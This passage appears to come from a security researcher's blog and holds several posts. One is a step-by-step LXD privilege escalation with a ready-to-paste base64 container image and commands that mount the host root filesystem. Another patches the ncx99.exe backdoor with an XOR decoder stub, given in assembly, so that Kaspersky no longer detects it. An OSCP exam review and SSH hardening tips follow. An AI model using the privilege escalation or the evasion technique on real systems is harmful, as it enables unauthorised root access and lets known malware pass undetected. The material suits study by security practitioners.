M0NOC.com

pre { border: 1px solid rgb(0, 0, 0); padding: 0.05cm; }pre.cjk { font-family: "Nimbus Mono L",monospace; }p { margin-bottom: 0.25cm; line-height: 120%; }code.cjk { font-family: "Nimbus Mono L",monospace; }a:link { }
It is well-known that if you gain RCE as a user in the lxd group you can quite easily escalate your privileges to that of root. An example is at https://reboare.github.io/lxd/lxd-escape.html.
However, most examples on the Internet use something like the following to create the container:

lxc init ubuntu:16.04 test -c security.privileged=true

The problem with this is that you may be on a system that has restrictive network connectivity and no installed images; thus such a command may fail. Furthermore, for whatever reason, your RCE may not be an actual shell.
The easiest solution to this is to create your own image and upload that via an appropriate technique such as writing a base64 encoded file using echo and then decoding it; and one of the best of these is to use is a busybox template. We, however, aim to do better than that.
First, the busybox template on our test VM (running Ubuntu 18.04).

root:~# lxc-create m0noc -t busybox
root:~# lxc-ls -f
NAME  STATE   AUTOSTART GROUPS IPV4 IPV6 UNPRIVILEGED 
m0noc STOPPED 0         -      -    -    false

The actual container is created in /var/lib/lxc thus.

root:~# cd /var/lib/lxc/m0noc/rootfs
root:/var/lib/lxc/m0noc/rootfs# ls
bin      dev  home  lib64  null  ram0  sbin     sys  tty   tty1  urandom  var
console  etc  lib   mnt    proc  root  selinux  tmp  tty0  tty5  usr      zero

We need to take a copy of the root filesystem as our baseline.

root:/var/lib/lxc/m0noc/rootfs# cd ..
root:/var/lib/lxc/m0noc# tar cfj ~/busyboxOrig.tar.bz2 rootfs
root:/var/lib/lxc/m0noc# cd ; mkdir container ; cd container
root:~/container# tar xfj ../busyboxOrig.tar.bz2 
root:~/container# ls
rootfs

We now need to create a minimal yaml metadata file for lxc.

root:~/container# echo architecture: x86_64 > metadata.yaml
root:~/container# echo creation_date: 1424284563 >> metadata.yaml
root:~/container# cat metadata.yaml
architecture: x86_64
creation_date: 1424284563

Now zip it all up and copy over to our real target. Note the size of the image. Whilst a lot smaller than an Ubuntu image it is still a good size. Yes; I'm using the same box for the lxc user demo; this wouldn't normally be the case.

root:~/container# tar cfj ../m0nocBusybox.tar.bz2 rootfs metadata.yaml
root:~/container# cd ..
root:~# ls -l m0nocBusybox.tar.bz2 
-rw-r--r-- 1 root root 980879 Oct 16 12:58 m0nocBusybox.tar.bz2
root:~# cp m0nocBusybox.tar.bz2 /home/bob/
root:~# chown bob /home/bob/m0nocBusybox.tar.bz2

So as our lxc user lets make use of the new container image to gain access to a root.txt flag in the main vm.

bob:~$ id -a
uid=1002(bob) gid=1006(bob) groups=1006(bob),108(lxd)
bob:~$ cat /root/root.txt
cat: /root/root.txt: Permission denied
bob:~$ lxc image import m0nocBusybox.tar.bz2 --alias bobImage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: 13e9fb7ead9f0f09785b4e3203cfc52f42cd6ecdf371dbb5f07435c3d50bd560
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- cat /r/root/root.txt
sup3rS5cr3tF1AgThatN0OneCanSee

Awesome. Now let's clear up.

bob:~$ lxc stop bobVM
bob:~$ lxc delete bobVM
bob:~$ lxc image delete bobImage

There are numerous ways to shrink the image significantly, the best of which is to use what is already there. Remember, a key differental between what we are doing and a normal container is that we want to increase our access. So, if we are mounting the entire filesystem then what we need is most probably already there.
In the busybox image, init and busybox are the one and the same hardlink (nb: the inode is going to be different for you):

root:~/container# find . -ls | fgrep 788059
   788059   1976 -rwsr-sr-x   2 root     root      2022480 Oct 16 12:50 ./rootfs/sbin/init
   788059   1976 -rwsr-sr-x   2 root     root      2022480 Oct 16 12:50 ./rootfs/bin/busybox

So lets take this step-by-step. First let's replace /sbin/init (the program lxc will run) with a symlink to the host's busybox. Within the container this will be in /r/bin/.

root:~/container/rootfs/sbin# ls -l 
total 1976
-rwsr-sr-x 2 root root 2022480 Oct 16 12:50 init
root:~/container/rootfs/sbin# rm init
root:~/container/rootfs/sbin# ln -s ./../bin/busybox init

Zip it up as before. Note that as we have broken the hard link the file size is still about the same.

root:~/container/rootfs/sbin# cd ../..
root:~/container# tar cfj ../m0nocBusybox2.tar.bz2 rootfs metadata.yaml 
root:~/container# cd ..
root:~# ls -l m0nocBusybox2.tar.bz2 
-rw-r--r-- 1 root root 984369 Oct 16 13:25 m0nocBusybox2.tar.bz2
root:~# cp m0nocBusybox2.tar.bz2 /home/bob/
root:~# chown bob /home/bob/m0nocBusybox2.tar.bz2

This time let's go into a shell when we run the exploit.

bob:~$ lxc image import m0nocBusybox2.tar.bz2 --alias bobImage
Image imported with fingerprint: 9c6dec86d91932575b763fa899cbf3c4f3760101418cb51b1d9e78571e6d392a
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- /bin/sh


BusyBox v1.27.2 (Ubuntu 1:1.27.2-2ubuntu3) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # cat /r/root/root.txt 
sup3rS5cr3tF1AgThatN0OneCanSee
~ # /r/usr/bin/file /sbin/init
/bin/sh: /r/usr/bin/file: not found
~ # ls -l /r/usr/bin/file
-rwxr-xr-x    1 root     root         22792 Jun 13 17:09 /r/usr/bin/file

What happened here? It works... but doesn't.
Let's have a look outside of the container.

root:~# file /usr/bin/file
/usr/bin/file: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ba74252751fddf2ef1b1d3bd2098c95550eee976, stripped

If you're use to linux, the (potential) issue is obvious. Look at the interpreter for the executable. As we haven't delt with the rest of the container that interpreter probably isn't there. Lets check.

~ # ls /lib64/ld-linux-x86-64.so.2
ls: /lib64/ld-linux-x86-64.so.2: No such file or directory
~ # ls /r/lib64/ld-linux-x86-64.so.2
ls: /r/lib64/ld-linux-x86-64.so.2: No such file or directory
~ # ls -l /r/lib64/ld-linux-x86-64.so.2
lrwxrwxrwx    1 root     root            32 Apr 16  2018 /r/lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.27.so
~ # ls /r/lib/x86_64-linux-gnu/ld-2.27.so
/r/lib/x86_64-linux-gnu/ld-2.27.so

Look like this is right but wasn't the whole story. Not only wasn't it there but the host OS is using absolute paths in it's symbolic links. Lets run a quick test in the container.

~ # /r/lib/x86_64-linux-gnu/ld-2.27.so /r/usr/bin/file /sbin/init
/r/usr/bin/file: error while loading shared libraries: libmagic.so.1: cannot open shared object file: No such file or directory

We're making progress. We are running /usr/bin/file but now have a so library issue. We can fix this ad-hoc by setting LD_LIBRARY_PATH or let's finish off re-engineering the image to something more useful.
After clearing up this container and image, we note that /dev has the correct devices loaded by the system so we can junk the metadevices in the virtual root.

root:~/container/rootfs# ls
bin      dev  home  lib64  null  ram0  sbin     sys  tty   tty1  urandom  var
console  etc  lib   mnt    proc  root  selinux  tmp  tty0  tty5  usr      zero
root:~/container/rootfs# rm console null ram0 tty tty0 tty1 tty5 urandom zero

Next, we note that it is probably easier to just keep /sbin as we have /sbin/init. I'll leave it as an exercise to improve on this.
We also note that we don't need home, mnt or selinux in this case.

root:~/container/rootfs# rmdir home mnt selinux

Finally we can symlink some of the other key directories to the host version to resolve our dynamic linker issue. It goes without saying; *make such you delete the right one*

root:~/container/rootfs# pwd
/root/container/rootfs
root:~/container/rootfs# rm -r usr bin lib lib64
root:~/container/rootfs# for a in usr bin lib lib64; do ln -s ./r/$a; done

We can now create a new container image.

root:~/container# tar cfj ../m0nocFinal.tar.bz2 rootfs metadata.yaml
root:~/container# cd ..
root:~# ls -l m0nocFinal.tar.bz2 
-rw-r--r-- 1 root root 656 Oct 16 13:41 m0nocFinal.tar.bz2
root:~# base64 -w 0 m0nocFinal.tar.bz2 ; echo
QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng=

Let's test our 656 byte exploit.

bob:~$ echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
bob:~$ lxc image import bob.tar.bz2 --alias bobImage
Image imported with fingerprint: 8961bb8704bc3fd43269c88f8103cab4fccd55325dd45f98e3ec7c75e501051d
bob:~$ lxc init bobImage bobVM -c security.privileged=true
Creating bobVM
bob:~$ lxc config device add bobVM realRoot disk source=/ path=r
Device realRoot added to bobVM
bob:~$ lxc start bobVM
bob:~$ lxc exec bobVM -- /bin/sh
# cat /r/root/root.txt 
sup3rS5cr3tF1AgThatN0OneCanSee
# file /sbin/init
/sbin/init: symbolic link to ./../bin/busybox
# file ./../bin/busybox
./../bin/busybox: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=523ce489921940867ee1a8631dbfdd5753d84688, stripped
# exit
bob:~$ lxc stop bobVM
bob:~$ lxc delete bobVM
bob:~$ lxc image delete bobImage

So we now have a 656 byte lxc priv-esc which requires no external access to an image server or pre-installed images; which is a vast improvement of the normal method.
Whilst I usually find busybox with lxc this may not always be the case. There are other choices that may work out. Alternatively you could craft your own init or try and incorporate a metaspolit output with some lxc network config tweaks, for example, to get a reverse meterpreter. Experiment with ideas and hack the planet (if you have permission, of course ;-) )

One thing that I haven't had a really good look at, coming from a non-pentesting background, is how to avoid anti-virus scanners; so here is my first serious dive into it.

I suspect to most this isn't anything new to experienced testers. Given the limitations of even “smart” anti-virus products, this type of issue is expected and will not be limited to any one AV vendor.
Nevertheless, I was curious to find out how easy it is to out-smart an intelligent scanner in order to get known malware past the scanner. Short answer; surprisingly easy.
The setup is a Windows Vista and Windows 8.1 VM running Kaspersky Anti-Virus 2017 with updates applied. The scanner was set to High (max protection), Heuristic Analysis set to Deep scan, and the iSwift and iChecker Technology enabled.
The malware is the venerable ncx99.exe. Others have tried xor encoders and many other variants to bypass the scanner, without success. So I thought I would take a different approach to find something missing from the emulator used to get malware to unpack and expose itself; finding that glitch in the Matrix.
I won't cover basic XOR encoders here; Google is your friend if you wish to know.
Upon starting ncx99.exe in a debugger we notice the following at the program entry point:
EAX 772AD3B7 kernel32.BaseThreadInitThunk EDX 00404C00 ncx99-or.<ModuleEntryPoint> ESP 0012FF8C EBP 0012FF94 EIP 00404C00 ncx99-or.<ModuleEntryPoint>
The top of the stack looks like this:
0012FF8C   772AD3C9  RETURN to kernel32.772AD3C9 0012FF90   7FFD5000 0012FF94  /0012FFD4
It turns out that the delta between ESP and EBP is always the same (at least on my Vista VM; a little more on that later).
So let’s reference the XOR encoder and base address indirectly based on the designed functionality of the stack rather than computing it in the program. This way the emulator needs to already be aware of this relationship; so is it? (I suspect you already know the answer!)
First, I modify the PE Header in the file to point to a new code cave:
I created a new section with a base address of 0x13000 and size 0x1000. The exe is increased with null bytes by 0x1000 to accommodate this section. I then modify the Program Entry Point from 0x404c00 (in .text) to 0x413000 (in the new section) and ensure that .text is writeable.
Back in the debugger I then create the following stub and save a new copy of the executable with these changes:
00413000 > 60               PUSHAD 00413001   9C               PUSHFD 00413002   BB EA7ACE39      MOV EBX,39CE7AEA              # XOR key 00413007   53               PUSH EBX 00413008   BB 00104000      MOV EBX,ncx99-ne.00401000     # Base addr for xor 0041300D   53               PUSH EBX 0041300E   8B45 D0          MOV EAX,DWORD PTR SS:[EBP-30] # get xor key 00413011   8B55 CC          MOV EDX,DWORD PTR SS:[EBP-34] # get base addr 00413014   83EA 04          SUB EDX,4 00413017   83C2 04          ADD EDX,4 0041301A   3102             XOR DWORD PTR DS:[EDX],EAX    # enc/dec dword 0041301C   83C2 05          ADD EDX,5 0041301F   4A               DEC EDX 00413020   81FA 6CA74000    CMP EDX,ncx99-ne.0040A76C     # loc of last dword 00413026  ^7E F2            JLE SHORT ncx99-ne.0041301A
00413028   58               POP EAX
00413029   58               POP EAX
0041302A   9D               POPFD 0041302B   61               POPAD 0041302C  -E9 CF1BFFFF      JMP ncx99-ne.00404C00         # Execute orig code
The key trick is that we are pushing the key and base address on the stack at 00413007 and 0041300D, but then referencing them using EBP at 0041300E and 00413011 (without ever referencing or setting EBP beforehand; we just know it gets set up like this by the OS).
So in the case of Vista, we have 8 bytes followed by 32 bytes from the pushad and 4 bytes from the pushfd; total 44 bytes (0x2C). So adding a dword to the stack gives an offset from EBP of 0x30 and a further dword gives 0x34.
Next, we do the usual break on 00413028 (just after the encoder) and run the program to encode .text. We then save the changes made between 00401000 and 0040A76C (we are working on DWORDs). This new file, when run, will decode .text and then run the decoded contents.
Passing through the AV shows no issues. Running it creates a listener on 99/tcp which we can connect to in order to get full system access. Success.

 Next, I thought I would test the ability of the AV to figure out known offsets. So rather than the non-explicit connection between ESP and EBP, lets rewrite it to see if the emulator is stack-aware.
I change the EBP offsets to the following; correcting the stub offsets accordingly:
0041300E   8B4424 04        MOV EAX,DWORD PTR SS:[ESP+4] 00413012   8B1424           MOV EDX,DWORD PTR SS:[ESP]
This time the AV detects that it is ncx99; so it looks like the emulator in the AV is stack aware.

Finally, I decided to test the approach on Windows 8.1. In this case the stack is a bit different on entry, but the delta is still consistent across reboots.
ESP 0013FF84 EBP 0013FF94
0013FF84   76444198  RETURN to KERNEL32.76444198 0013FF88   7FFDF000 0013FF8C   76444170  KERNEL32.BaseThreadInitThunk 0013FF90   F5EE812D 0013FF94  /0013FFDC
A simple adjustment to the relative offsets from EBP yields success:
0041300E   8B45 C8          MOV EAX,DWORD PTR SS:[EBP-38] 00413011   8B55 C4          MOV EDX,DWORD PTR SS:[EBP-3C]
i.e. a functional malware that is known to the AV product but not detected by it.
This code can probably be simplified (some null actions, etc, from previous tweaks) and made version agnostic; but I will leave that as an exercise for the reader as this was only meant to be a PoC.
I also tried this technique (but using some spare space at the end of the .text section) on some other programs including netpass.exe and all became undetectable by the AV file scanner. Yey.
The take for me is that signature based detection is good for low-hanging fruit; stuff that is already known or similar. However, once you start customising stuff it can rapidly lose its effectiveness. Sometimes that customisation may only need to be a simple tweak, as in this example.

Update: Uploaded to virustotal and now detection is slowly growing; though a few major vendors including Kaspersky still don't detect it. You can see the sample here

Since passing my OSCP exam a few weeks ago I've been debating whether to add to the vastness of reviews on the PWK course and OSCP exam. It, however, feels like a right of passage; so here goes.
What is the PWK course, I hear you ask. To quote from Offensive Security's website:
“Penetration Testing with Kali (PWK) is a self-paced online pen testing course designed for network administrators and security professionals who want to take a serious and meaningful step into the world of professional penetration testing.”
It is marketed as an foundational course. Whilst this is correct in the grand scheme of things, don't let this fool you. It isn't “foundational” like many other courses with such branding; it is a course that will ensure you really understand and can effectively use the tools, techniques and theory that you are taught. This includes research and thinking creatively to work round problems.
Why did I do it?
There are two reasons.
First, I had heard of the course, many others in the community raving about how good it is, and that people were saying it was awesome. When someone states something is awesome you may be inclined to think they are over-rating a course that they enjoyed; but when so many people in the community, some of which I know, were telling similar stories; well that is a pattern that cannot be ignored.
Second, a more practical reason. Since I've left my job at a well known global telco I wanted to switch from a core infrastructure troubleshooter of last resort to a full time pen tester / security researcher. Whilst I had several SANS certifications such as GXPN, GPEN, etc, recruiters and companies in the UK were not particularly interested in them, but instead OSCP and CREST. CREST was very expensive. As I'm self funded with no income, both this and the reviews of OSCP meant OSCP was the way to go.
What do you get?
In addition to the expected course PDF and lots of video, you get access to what is probably the biggest plus for the course; access to a lab with in excess of 50 hosts across a number of networks. This lab has a whole range of challenges, from different operating systems to applications, designed to practice everything the course aims to teach you. There are rumours that a Solaris box lurks in the shadows.
Think of the PDF course as a solid and well-written step-by-step guide and the lab as the “now you know the principles, go pwn all the boxes”.
You can book lab time in 30, 60 or 90 day blocks. Each comes with an exam attempt.
The PDF has a number of exercises for you to do. Some are independent of the labs, some aren't. When it comes to the labs you are not given that much help (unless you really need it); it is a case of you need to figure out where and what is the vulnerability and how to exploit it; just like in real life.
If after, to quote their catchphrase you have “Tried Harder” but still need help, the OffSec admins will give you hints if asked. The forums, where other students can be found, will give you more obvious hints. Though the admins will edit out any “spoilers” that a student may inadvertently add. You won't get the answer; that is for you to figure out. After all, if you want to be a penetration tester, this is a key attribute you need to have.
In the exam though; you will get no hints.
When doing the exercises and the labs it is good to document them. If you document all of the required exercises and ten lab boxes in a penetration test report (there is a template), you can potentially get an extra five bonus points for each towards the exam mark for a total of ten bonus points.
I would strongly recommend you write this report, and before your exam. You don't want to be worrying about that as well during the report writing phase of the exam.
The Exam
The OSCP exam consists of a 23 hour 45 minute block of time to achieve a number of objectives within the exam network; which includes obtaining the proof.txt file in a shell for a number of targets (with evidence and recording of this in the appropriate form) proving you have admin rights. There can be other objectives for the targets such as a local.txt for an unprivileged shell.
You then have a further 24 hours to write the report and submit it in the required format (mandatory); along with the lab and exercise report (optional; which you did prior to the exam, didn't you).
All this is documented on the Offsec website; details of what I had in my exam (specifics) are under an NDA. See the exam guide for more info.
When am I ready for the exam?
OffSec are deliberately non-prescriptive on this since “it depends”.
They do recommend that you should get all the lab boxes except the “big three” of pain, sufferance and humble; at which point you should have the minimum necessary for the exam, but that is no guarantee. My view is that if you get all the main lab boxes and complete the exercises in the PDF you have covered all the key areas so should have the skills necessary, but; see my hints and tips later.
For me, I came from a non-pentesting role, despite my SANS certs. My expectation was that networks and systems level stuff would be relatively easier than the web app stuff, since it is in the infrastructure level stuff that my previous experience is at. Most of my application level experience  involved the services rather than the apps (e.g. Java JVM analysis/tuning). Also, in my day job I had all the keys to start with so would need to improve that “black box” approach to systems.
The result, some web app targets I would initially spend a couple of days to root whereas pain and sufferance were straightforward (privilege escalation including the recon was less than 15 minutes on one of them).
So I guess what I'm trying to say is that we all have different backgrounds and experiences. Something that is easy for some of us will be hard for others and visa-versa. Find your weaknesses and focus on those but don't neglect any area. Use the course PDF and labs as a guide to assess and practice those skills.
What did I do?
I took the 90-day lab option. I also took a couple of weeks off about half way through to recharge; you cannot “pause” the lab time but I felt a gap was important.
Once I had all of the labs boxes bar a small number I booked the exam for a months time. This meant the exam was a few days prior to the end of the lab. I figured if I failed the exam I could then extend the lab without interruption. Others may take a different approach.
I then spent the first two weeks writing the lab and exercise report for the bonus points; including re-testing the approach in the lab from a clean target to ensure a reliable exploit and that the process documented was correct. In some cases I simplified the approach as my initial success was more convoluted than needed.
After that, up to the exam, I used the lab time to finish off the lab boxes I hadn't got (or had only got via Metasploit) and then redid between 3 and 6 per day without looking at the machine specific notes I had. This gave me a lot more confidence heading into the exam; especially when I was finding other ways in and doing all in a good time (sufficient that if they were exam boxes I would have passed).
In the UK it looks like the earliest exam time you can book is at 10:00 (BST), so I went for that.
So, exam day comes after a reasonable sleep the night before. I get up and have a few hours before it starts, I try to take things easy and not rush anything; chill out as best I can.
10:00 the exam starts and the emails duly arrive from OffSec. I set up the VPN, connect and read the exam objectives I have been given. Each objective has a points value and you need a total of 70 out of 100 to pass (did I mention there are potentially 10 further bonus points for the lab / exercise report).
I notice one of the high value objectives is a very strong area for me but may take a bit of time, so for the next two hours I focus on that one whilst performing some background recon on the others.
Once that is in the bag I go for lunch, during which time the first problem occurs. A power blackout!!! Arrrrgh. I shall not quote the words that came out of my mouth.
Fortunately this only lasted just over five minutes, which meant my UPS was able to handle the issue (the perils living in a rural location). Time to get my blood pressure back under control and relax for the rest of my lunch.
I then spend the next hour and a bit on a low value target and getting a low priv shell on another. Time for another rest.
It is another 4.5 hours before I get my next success. Cycling through the remaining targets doing a bit of analysis until I feel I'm not making progress and moving on; then I suddenly spot the way to escalate privs on the one with the low priv shell. Yey; I am root. Time for dinner.
Back from dinner it is then not until 21:01 that I get low priv on my next target. Hint. If you think that you have tried something and it should have worked, retry it very carefully. You may find that you could have avoided wasting some precious time.
21:19 and I now have root. Yey. Time to take another rest.
I now have the final target that has been teasing me for most of the exam. However, I can now focus on this one; exclusively.
02:21 and I get low-priv. My mistake - OSCP is a foundational course so you appreciate that the solutions are easy (once you know how); this doesn't mean that if something appears complicated it is.
Then 03:04 I finally get root on the last box. Final root dance.
It ain't over yet.
Whilst I still have access to the exam network, I review all the objectives and make sure I have met them, submitted my proofs and have all the information I need for the report. Circa 03:30 I can now finally make a direct b-line for the bed and don't need to worry if I over-sleep.
The next day, or should that be later that day, I get up knowing that I now need to write the report; as no report = no pass.
As I've already written the lab and exercise report I only need to do the same for the exam objectives. I can afford to take my time and not rush things. Once written I can re-read it then update until I'm happy that it is up to an acceptable standard for submission.
I submit the report later that day and get confirmation from OffSec at 17:48 they have received it. At 19:47 the following day I get the results.
“We are happy to inform you that you have successfully completed the Penetration Testing with Kali Linux certification exam and have obtained your Offensive Security Certified Professional (OSCP) certification.”
Nice :D
Hints and Tips
•      Read the other reviews out there. Collectively they paint a good picture about what to expect from the course and exam and hopefully you'll find at least one that is a good match for your background and learning method. •      Remember this is a foundational course; so the “way in” is going to be straightforward. You still need to find it, but don't need to write a 0day or anything close to that. •      If you are writing a 0day or similar it is probably a rabbit hole. •      Don't over-think things. •      If it is too obvious to be the way-in; it might be the way in. •      Whilst not required to take the exam, getting all the lab boxes except the “big three” is a good measure as to whether you are ready; though there are no guarantees. •      Did I mention there are bonus points for the lab / exercise report. Writing this before the exam removes the pressure of being just short of passing and having to write that report in addition to the exam report in the 24 hour report period you have. •      If you need to seek out help to get a lab box, figure out how you could have done things differently so as to avoid needing that help. Avoid if possible being too specific for that particular target. Remember; there are no hints on the exam. •      Document everything; a searchable reference other than Google may come in handy. •      Take regular breaks. Aim to spend no more than two hours at a time on the computer. You need to recharge, rest, relax to aid in concentration. This is a 24 hour exam after all. •      Plan meals, etc beforehand so you only have to think about the exam on the exam day. •      Try not to panic or stress out. If you are stuck or struggling take a time-out or move on to another target and re-visit that one at a later date. That distraction can lead to a eureka moment or allow you to re-focus on that problem when you return to it. •      Read g0tmi1k's article for 'alpha' on the PWK forum (contains spoilers; so perhaps not straight away but certainly before the exam). Focus more on the strategy and approach he uses and think about how you can apply that to the other lab boxes and the exam boxes. •      If you don't pass the first time don't give up. Know that many people have been there before, have come so close, but not let this stop them. If you feel like it, blog about it and how you dealt with it. This is something missing from most reviews that several people have stated would have helped. •      …. and finally; beware, penetration testing comes in red pills and is highly addictive.
Conclusion
I can safely say that the PWK course and even the OSCP exam were some of the most enjoyable I've experienced (how often can you say you have thoroughly enjoyed an exam?).
What I especially like is that it is designed to get you to think for yourself. The exam tests this; and in my view is vastly more valuable than an exam that tests whether you can remember the exact switch or option to a command that you would normally just look up if you didn't know.
Next Steps
Well, I was thinking covfefe ….. er CTP/OSCE. I got bored waiting for the PWK course to start so had a go at the pre-registration challenge and liked it. I start in a few days.

I recently came across this article on the FAIRWARE ransomware attacking Linux servers by brute forcing SSH according to the referenced article here. I thought why in this day-and-age is brute forcing SSH from the Internet working? Surely we are not exposing SSH administrative interfaces to the big bad Internet, let alone in an insecure way (rhetorical)?
So, whilst by no means a complete How-To, I thought I would go through a few areas that I hope may improve the security of systems running SSH. Though, as we all know, what you actually do depends on your risk appetite among other things.
In summary this is really about defence in depth. Not only make good security decisions, but also don't rely on a few. My view is if there is a shortcoming, no matter how minor, deal with it (assess it, then either fix it or accept the risk (with possible mitigations)).
For SSH, in no particular order.
1. Don't bind to all interfaces and certainly not your Internet facing one
In today's world of virtualisation, there really should be no excuse for not re-configuring a management service such as SSH to only listen on a management interface. Such a management network must not be directly accessible via the Internet; you should need to go via a VPN, Citrix or other strong security gate as a minimum to access such a network.
If your management services are only listening on your management interface, then even if your firewalls, or other Internet facing protections are breached, it is still going to be a bit of a challenge for an adversary to get shell access via that service.
This can be achieved using the Listen directive in sshd_config.
2. Never, ever, allow direct privileged logons
Being able to directly SSH (login) as root or a privileged user is just asking for trouble. Would you build a safe so that the door was accessible via an outside wall that the public walk past? I hope not; so should we really be doing the same thing with our servers holding our sensitive information assets?
The easiest way to prevent this is to only permit normal users (typically having a common group). i.e. we whitelist accounts rather than blacklist, so if a new account is created it needs to be assessed first.
PermitRootLogin should always be set to no, but we also need to take account of other 'unprivileged' users that may be applications (thus have access to or “own” potentially sensitive information) and users with enhanced 'root' rights (such as having capabilities in Linux, or via sudo).
3. Multi-factor authentication
It is always a good idea to examine a technology to fully understand what it can do. So, in this case, even if you don't have true multi-factor authentication, you would have spotted the RequiredAuthentications or AuthenticationMethods directive in SSH, which states what methods must succeed to allow access.
So the following on CentOS 7 requires both a publickey and a password to successfully log on (or more precisely the use of the associated private key on the client where the public key is configured on the user's account on the server).
AuthenticationMethods publickey,password
So, even if the public key does not have a paraphrase, we have the following, showing the public key authentication is not sufficient; you also need the account password.
$ ssh -x localhost Authenticated with partial success. auser@localhost's password: Last login: Tue Sep  6 10:59:49 2016 $
I hope you would agree, even brute forcing that “poor-man's 2FA” is a bit more challenging.
4. Bar tunnelling over SSH
A tunnel allows you to tunnel any connection in any direction, via the SSH connection. Indeed the man page describes how to set up a VPN as well! This allows trivial bypass of firewalls and other security devices, by using the trusted encrypted SSH connection.
Unless you have very specific requirements, which are documented and limited by the configuration such as PermitOpen or the use of a directive in a cert, disable SSH tunnelling via PermitTunnel no. Don't forget the tap devices, if supported.
Even if you have a captive client, the user can press ~C to open an SSH “command line” to dynamically add a tunnel. So, if it isn't disabled at the server side a user can still add it in a captive setup. See the man page on ssh.
5. Require strong MACs and Ciphers
If both the client and server supports it, shouldn't we actively prevent the use of weak MACs and Ciphers?
The default configuration on CentOS 7 allows MD5 and SHA1 as MACs. It also allows sha2-256, sha2-512. Perhaps we should specify only the strongest subset and thus put a mandatory bar on MD5 and SHA1, for example.
6. Use only SSH version 2
Fortunately most modern configurations only enable version 2 (Protocol 2). Protocol version 1 has known design flaws, so should not be used. See an example from CERT here.
7. Client side
Don't forget the client side configuration as well.
If a client also only allows strong MACs and Ciphers, for example, and you suddenly can no longer access a host due to cipher support, does this suggest a problem? Certainly worth investigation.
More
This is just a small sample of the options open to you. There are many other configuration options for example, including Match statements for finer-grain configuration, adding options in the authorized_keys file, client IP lockdown, and SELinux tweaks, to name a few.
Oh, and monitoring. An unmonitored log is a useless log.
What would be your top recommendations?

As a fan of the SELinux security framework that runs as part of Linux, I thought it would be a good idea to improve my skillset in this area, and go beyond the basics.
Part of that is research, subscribing to SELinux mailing lists, playing with test setups and, of course, reading what others are saying via Google searches.
One, whilst going off at a tangent to my goal, sparked my interest as all the posts I saw didn't have the answer. It was this type of error:
